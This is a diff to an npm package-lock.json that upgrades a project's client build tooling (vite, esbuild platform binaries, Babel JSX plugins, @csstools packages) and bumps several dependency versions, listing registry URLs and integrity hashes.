+ "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/sunos-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz",
+ "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/win32-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz",
+ "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/win32-ia32": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz",
+ "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/win32-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz",
+ "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
"client/node_modules/@react-spring/web": {
"version": "9.7.5",
"resolved": "https://registry.npmjs.org/@react-spring/web/-/web-9.7.5.tgz",
@@ -1726,62 +2316,35 @@
"pretty-format": "^29.0.0"
}
},
- "client/node_modules/@vitejs/plugin-react": {
- "version": "4.3.4",
- "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-4.3.4.tgz",
- "integrity": "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug==",
+ "client/node_modules/@types/node": {
+ "version": "20.19.35",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.35.tgz",
+ "integrity": "sha512-Uarfe6J91b9HAUXxjvSOdiO2UPOKLm07Q1oh0JHxoZ1y8HoqxDAu3gVrsrOHeiio0kSsoVBt4wFrKOm0dKxVPQ==",
"dev": true,
"license": "MIT",
"dependencies": {
- "@babel/core": "^7.26.0",
- "@babel/plugin-transform-react-jsx-self": "^7.25.9",
- "@babel/plugin-transform-react-jsx-source": "^7.25.9",
- "@types/babel__core": "^7.20.5",
- "react-refresh": "^0.14.2"
- },
- "engines": {
- "node": "^14.18.0 || >=16.0.0"
- },
- "peerDependencies": {
- "vite": "^4.2.0 || ^5.0.0 || ^6.0.0"
+ "undici-types": "~6.21.0"
}
},
- "client/node_modules/autoprefixer": {
- "version": "10.4.20",
- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.20.tgz",
- "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==",
+ "client/node_modules/@vitejs/plugin-react": {
+ "version": "5.1.4",
+ "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.4.tgz",
+ "integrity": "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA==",
"dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/autoprefixer"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
"license": "MIT",
"dependencies": {
- "browserslist": "^4.23.3",
- "caniuse-lite": "^1.0.30001646",
- "fraction.js": "^4.3.7",
- "normalize-range": "^0.1.2",
- "picocolors": "^1.0.1",
- "postcss-value-parser": "^4.2.0"
- },
- "bin": {
- "autoprefixer": "bin/autoprefixer"
+ "@babel/core": "^7.29.0",
+ "@babel/plugin-transform-react-jsx-self": "^7.27.1",
+ "@babel/plugin-transform-react-jsx-source": "^7.27.1",
+ "@rolldown/pluginutils": "1.0.0-rc.3",
+ "@types/babel__core": "^7.20.5",
+ "react-refresh": "^0.18.0"
},
"engines": {
- "node": "^10 || ^12 || >=14"
+ "node": "^20.19.0 || >=22.12.0"
},
"peerDependencies": {
- "postcss": "^8.1.0"
+ "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
}
},
"client/node_modules/babel-plugin-polyfill-corejs2": {
@@ -1799,16 +2362,6 @@
"@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
}
},
- "client/node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": {
- "version": "6.3.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
- "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
- "dev": true,
- "license": "ISC",
- "bin": {
- "semver": "bin/semver.js"
- }
- },
"client/node_modules/babel-plugin-polyfill-corejs3": {
"version": "0.11.1",
"resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.11.1.tgz",
@@ -1897,6 +2450,66 @@
"url": "https://opencollective.com/core-js"
}
},
+ "client/node_modules/esbuild": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz",
+ "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.27.3",
+ "@esbuild/android-arm": "0.27.3",
+ "@esbuild/android-arm64": "0.27.3",
+ "@esbuild/android-x64": "0.27.3",
+ "@esbuild/darwin-arm64": "0.27.3",
+ "@esbuild/darwin-x64": "0.27.3",
+ "@esbuild/freebsd-arm64": "0.27.3",
+ "@esbuild/freebsd-x64": "0.27.3",
+ "@esbuild/linux-arm": "0.27.3",
+ "@esbuild/linux-arm64": "0.27.3",
+ "@esbuild/linux-ia32": "0.27.3",
+ "@esbuild/linux-loong64": "0.27.3",
+ "@esbuild/linux-mips64el": "0.27.3",
+ "@esbuild/linux-ppc64": "0.27.3",
+ "@esbuild/linux-riscv64": "0.27.3",
+ "@esbuild/linux-s390x": "0.27.3",
+ "@esbuild/linux-x64": "0.27.3",
+ "@esbuild/netbsd-arm64": "0.27.3",
+ "@esbuild/netbsd-x64": "0.27.3",
+ "@esbuild/openbsd-arm64": "0.27.3",
+ "@esbuild/openbsd-x64": "0.27.3",
+ "@esbuild/openharmony-arm64": "0.27.3",
+ "@esbuild/sunos-x64": "0.27.3",
+ "@esbuild/win32-arm64": "0.27.3",
+ "@esbuild/win32-ia32": "0.27.3",
+ "@esbuild/win32-x64": "0.27.3"
+ }
+ },
+ "client/node_modules/fdir": {
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "peerDependencies": {
+ "picomatch": "^3 || ^4"
+ },
+ "peerDependenciesMeta": {
+ "picomatch": {
+ "optional": true
+ }
+ }
+ },
"client/node_modules/framer-motion": {
"version": "11.18.2",
"resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-11.18.2.tgz",
@@ -1943,21 +2556,41 @@
"react": "^16.5.1 || ^17.0.0 || ^18.0.0"
}
},
+ "client/node_modules/picomatch": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
"client/node_modules/react-is": {
"version": "17.0.2",
"resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
"integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
},
- "client/node_modules/react-refresh": {
- "version": "0.14.2",
- "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.2.tgz",
- "integrity": "sha512-jCvmsr+1IUSMUyzOkRcvnVbX3ZYC6g9TDrDbFuFmRDq7PD4yaGbLKNQL6k2jnArV8hjYxh7hVhAZB6s9HDGpZA==",
+ "client/node_modules/semver": {
+ "version": "6.3.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
"dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
+ "license": "ISC",
+ "bin": {
+ "semver": "bin/semver.js"
}
},
+ "client/node_modules/undici-types": {
+ "version": "6.21.0",
+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
+ "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
+ "dev": true,
+ "license": "MIT"
+ },
"client/node_modules/update-browserslist-db": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.2.tgz",
@@ -1989,18 +2622,110 @@
"browserslist": ">= 4.21.0"
}
},
+ "client/node_modules/vite": {
+ "version": "7.3.1",
+ "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz",
+ "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "esbuild": "^0.27.0",
+ "fdir": "^6.5.0",
+ "picomatch": "^4.0.3",
+ "postcss": "^8.5.6",
+ "rollup": "^4.43.0",
+ "tinyglobby": "^0.2.15"
+ },
+ "bin": {
+ "vite": "bin/vite.js"
+ },
+ "engines": {
+ "node": "^20.19.0 || >=22.12.0"
+ },
+ "funding": {
+ "url": "https://github.com/vitejs/vite?sponsor=1"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.3"
+ },
+ "peerDependencies": {
+ "@types/node": "^20.19.0 || >=22.12.0",
+ "jiti": ">=1.21.0",
+ "less": "^4.0.0",
+ "lightningcss": "^1.21.0",
+ "sass": "^1.70.0",
+ "sass-embedded": "^1.70.0",
+ "stylus": ">=0.54.8",
+ "sugarss": "^5.0.0",
+ "terser": "^5.16.0",
+ "tsx": "^4.8.1",
+ "yaml": "^2.4.2"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ },
+ "jiti": {
+ "optional": true
+ },
+ "less": {
+ "optional": true
+ },
+ "lightningcss": {
+ "optional": true
+ },
+ "sass": {
+ "optional": true
+ },
+ "sass-embedded": {
+ "optional": true
+ },
+ "stylus": {
+ "optional": true
+ },
+ "sugarss": {
+ "optional": true
+ },
+ "terser": {
+ "optional": true
+ },
+ "tsx": {
+ "optional": true
+ },
+ "yaml": {
+ "optional": true
+ }
+ }
+ },
+ "client/node_modules/vite-plugin-node-polyfills": {
+ "version": "0.25.0",
+ "resolved": "https://registry.npmjs.org/vite-plugin-node-polyfills/-/vite-plugin-node-polyfills-0.25.0.tgz",
+ "integrity": "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@rollup/plugin-inject": "^5.0.5",
+ "node-stdlib-browser": "^1.3.1"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/davidmyersdev"
+ },
+ "peerDependencies": {
+ "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
+ }
+ },
"client/node_modules/vite-plugin-pwa": {
- "version": "0.21.2",
- "resolved": "https://registry.npmjs.org/vite-plugin-pwa/-/vite-plugin-pwa-0.21.2.tgz",
- "integrity": "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg==",
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/vite-plugin-pwa/-/vite-plugin-pwa-1.2.0.tgz",
+ "integrity": "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw==",
"dev": true,
"license": "MIT",
"dependencies": {
"debug": "^4.3.6",
"pretty-bytes": "^6.1.1",
"tinyglobby": "^0.2.10",
- "workbox-build": "^7.3.0",
- "workbox-window": "^7.3.0"
+ "workbox-build": "^7.4.0",
+ "workbox-window": "^7.4.0"
},
"engines": {
"node": ">=16.0.0"
@@ -2009,10 +2734,10 @@
"url": "https://github.com/sponsors/antfu"
},
"peerDependencies": {
- "@vite-pwa/assets-generator": "^0.2.6",
- "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0",
- "workbox-build": "^7.3.0",
- "workbox-window": "^7.3.0"
+ "@vite-pwa/assets-generator": "^1.0.0",
+ "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0",
+ "workbox-build": "^7.4.0",
+ "workbox-window": "^7.4.0"
},
"peerDependenciesMeta": {
"@vite-pwa/assets-generator": {
@@ -2089,6 +2814,24 @@
"google-auth-library": "^9.4.2"
}
},
+ "node_modules/@apideck/better-ajv-errors": {
+ "version": "0.3.6",
+ "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz",
+ "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "json-schema": "^0.4.0",
+ "jsonpointer": "^5.0.0",
+ "leven": "^3.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "ajv": ">=8"
+ }
+ },
"node_modules/@ariakit/core": {
"version": "0.4.15",
"resolved": "https://registry.npmjs.org/@ariakit/core/-/core-0.4.15.tgz",
@@ -3816,7 +4559,7 @@
"@smithy/smithy-client": "^4.1.6",
"@smithy/types": "^4.1.0",
"@smithy/util-middleware": "^4.0.1",
- "fast-xml-parser": "4.4.1",
+ "fast-xml-parser": "5.3.8",
"tslib": "^2.6.2"
},
"engines": {
@@ -4264,7 +5007,7 @@
"license": "Apache-2.0",
"dependencies": {
"@smithy/types": "^4.12.0",
- "fast-xml-parser": "5.3.4",
+ "fast-xml-parser": "5.3.8",
"tslib": "^2.6.2"
},
"engines": {
@@ -4596,9 +5339,9 @@
}
},
"node_modules/@babel/compat-data": {
- "version": "7.28.5",
- "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz",
- "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==",
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
+ "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
"license": "MIT",
"engines": {
"node": ">=6.9.0"
@@ -6096,6 +6839,38 @@
"@babel/core": "^7.0.0-0"
}
},
+ "node_modules/@babel/plugin-transform-react-jsx-self": {
+ "version": "7.27.1",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
+ "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.27.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
+ "node_modules/@babel/plugin-transform-react-jsx-source": {
+ "version": "7.27.1",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
+ "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-plugin-utils": "^7.27.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0-0"
+ }
+ },
"node_modules/@babel/plugin-transform-react-pure-annotations": {
"version": "7.23.3",
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.23.3.tgz",
@@ -6563,6 +7338,16 @@
"dev": true,
"license": "MIT"
},
+ "node_modules/@borewit/text-codec": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz",
+ "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Borewit"
+ }
+ },
"node_modules/@braintree/sanitize-url": {
"version": "7.1.1",
"resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-7.1.1.tgz",
@@ -6576,42 +7361,42 @@
"license": "MIT"
},
"node_modules/@chevrotain/cst-dts-gen": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-11.1.1.tgz",
- "integrity": "sha512-fRHyv6/f542qQqiRGalrfJl/evD39mAvbJLCekPazhiextEatq1Jx1K/i9gSd5NNO0ds03ek0Cbo/4uVKmOBcw==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/@chevrotain/cst-dts-gen/-/cst-dts-gen-11.1.2.tgz",
+ "integrity": "sha512-XTsjvDVB5nDZBQB8o0o/0ozNelQtn2KrUVteIHSlPd2VAV2utEb6JzyCJaJ8tGxACR4RiBNWy5uYUHX2eji88Q==",
"license": "Apache-2.0",
"dependencies": {
- "@chevrotain/gast": "11.1.1",
- "@chevrotain/types": "11.1.1",
+ "@chevrotain/gast": "11.1.2",
+ "@chevrotain/types": "11.1.2",
"lodash-es": "4.17.23"
}
},
"node_modules/@chevrotain/gast": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-11.1.1.tgz",
- "integrity": "sha512-Ko/5vPEYy1vn5CbCjjvnSO4U7GgxyGm+dfUZZJIWTlQFkXkyym0jFYrWEU10hyCjrA7rQtiHtBr0EaZqvHFZvg==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/@chevrotain/gast/-/gast-11.1.2.tgz",
+ "integrity": "sha512-Z9zfXR5jNZb1Hlsd/p+4XWeUFugrHirq36bKzPWDSIacV+GPSVXdk+ahVWZTwjhNwofAWg/sZg58fyucKSQx5g==",
"license": "Apache-2.0",
"dependencies": {
- "@chevrotain/types": "11.1.1",
+ "@chevrotain/types": "11.1.2",
"lodash-es": "4.17.23"
}
},
"node_modules/@chevrotain/regexp-to-ast": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/@chevrotain/regexp-to-ast/-/regexp-to-ast-11.1.1.tgz",
- "integrity": "sha512-ctRw1OKSXkOrR8VTvOxrQ5USEc4sNrfwXHa1NuTcR7wre4YbjPcKw+82C2uylg/TEwFRgwLmbhlln4qkmDyteg==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/@chevrotain/regexp-to-ast/-/regexp-to-ast-11.1.2.tgz",
+ "integrity": "sha512-nMU3Uj8naWer7xpZTYJdxbAs6RIv/dxYzkYU8GSwgUtcAAlzjcPfX1w+RKRcYG8POlzMeayOQ/znfwxEGo5ulw==",
"license": "Apache-2.0"
},
"node_modules/@chevrotain/types": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-11.1.1.tgz",
- "integrity": "sha512-wb2ToxG8LkgPYnKe9FH8oGn3TMCBdnwiuNC5l5y+CtlaVRbCytU0kbVsk6CGrqTL4ZN4ksJa0TXOYbxpbthtqw==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/@chevrotain/types/-/types-11.1.2.tgz",
+ "integrity": "sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw==",
"license": "Apache-2.0"
},
"node_modules/@chevrotain/utils": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-11.1.1.tgz",
- "integrity": "sha512-71eTYMzYXYSFPrbg/ZwftSaSDld7UYlS8OQa3lNnn9jzNtpFbaReRRyghzqS7rI3CDaorqpPJJcXGHK+FE1TVQ==",
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/@chevrotain/utils/-/utils-11.1.2.tgz",
+ "integrity": "sha512-4mudFAQ6H+MqBTfqLmU7G1ZwRzCLfJEooL/fsF6rCX5eePMbGhoy5n4g+G4vlh2muDcsCTJtL+uKbOzWxs5LHA==",
"license": "Apache-2.0"
},
"node_modules/@codemirror/autocomplete": {
@@ -6762,9 +7547,9 @@
}
},
"node_modules/@csstools/cascade-layer-name-parser": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/@csstools/cascade-layer-name-parser/-/cascade-layer-name-parser-1.0.7.tgz",
- "integrity": "sha512-9J4aMRJ7A2WRjaRLvsMeWrL69FmEuijtiW1XlK/sG+V0UJiHVYUyvj9mY4WAXfU/hGIiGOgL8e0jJcRyaZTjDQ==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/cascade-layer-name-parser/-/cascade-layer-name-parser-3.0.0.tgz",
+ "integrity": "sha512-/3iksyevwRfSJx5yH0RkcrcYXwuhMQx3Juqf40t97PeEy2/Mz2TItZ/z/216qpe4GgOyFBP8MKIwVvytzHmfIQ==",
"dev": true,
"funding": [
{
@@ -6776,18 +7561,19 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3"
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
}
},
"node_modules/@csstools/color-helpers": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-4.0.0.tgz",
- "integrity": "sha512-wjyXB22/h2OvxAr3jldPB7R7kjTUEzopvjitS8jWtyd8fN6xJ8vy1HnHu0ZNfEkqpBJgQ76Q+sBDshWcMvTa/w==",
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.0.2.tgz",
+ "integrity": "sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==",
"dev": true,
"funding": [
{
@@ -6799,14 +7585,15 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
}
},
"node_modules/@csstools/css-calc": {
- "version": "1.1.6",
- "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-1.1.6.tgz",
- "integrity": "sha512-YHPAuFg5iA4qZGzMzvrQwzkvJpesXXyIUyaONflQrjtHB+BcFFbgltJkIkb31dMGO4SE9iZFA4HYpdk7+hnYew==",
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.1.1.tgz",
+ "integrity": "sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ==",
"dev": true,
"funding": [
{
@@ -6818,18 +7605,19 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3"
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
}
},
"node_modules/@csstools/css-color-parser": {
- "version": "1.5.1",
- "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-1.5.1.tgz",
- "integrity": "sha512-x+SajGB2paGrTjPOUorGi8iCztF008YMKXTn+XzGVDBEIVJ/W1121pPerpneJYGOe1m6zWLPLnzOPaznmQxKFw==",
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.0.2.tgz",
+ "integrity": "sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw==",
"dev": true,
"funding": [
{
@@ -6841,22 +7629,23 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"dependencies": {
- "@csstools/color-helpers": "^4.0.0",
- "@csstools/css-calc": "^1.1.6"
+ "@csstools/color-helpers": "^6.0.2",
+ "@csstools/css-calc": "^3.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3"
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
}
},
"node_modules/@csstools/css-parser-algorithms": {
- "version": "2.5.0",
- "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-2.5.0.tgz",
- "integrity": "sha512-abypo6m9re3clXA00eu5syw+oaPHbJTPapu9C4pzNsJ4hdZDzushT50Zhu+iIYXgEe1CxnRMn7ngsbV+MLrlpQ==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz",
+ "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==",
"dev": true,
"funding": [
{
@@ -6868,17 +7657,18 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "@csstools/css-tokenizer": "^2.2.3"
+ "@csstools/css-tokenizer": "^4.0.0"
}
},
"node_modules/@csstools/css-tokenizer": {
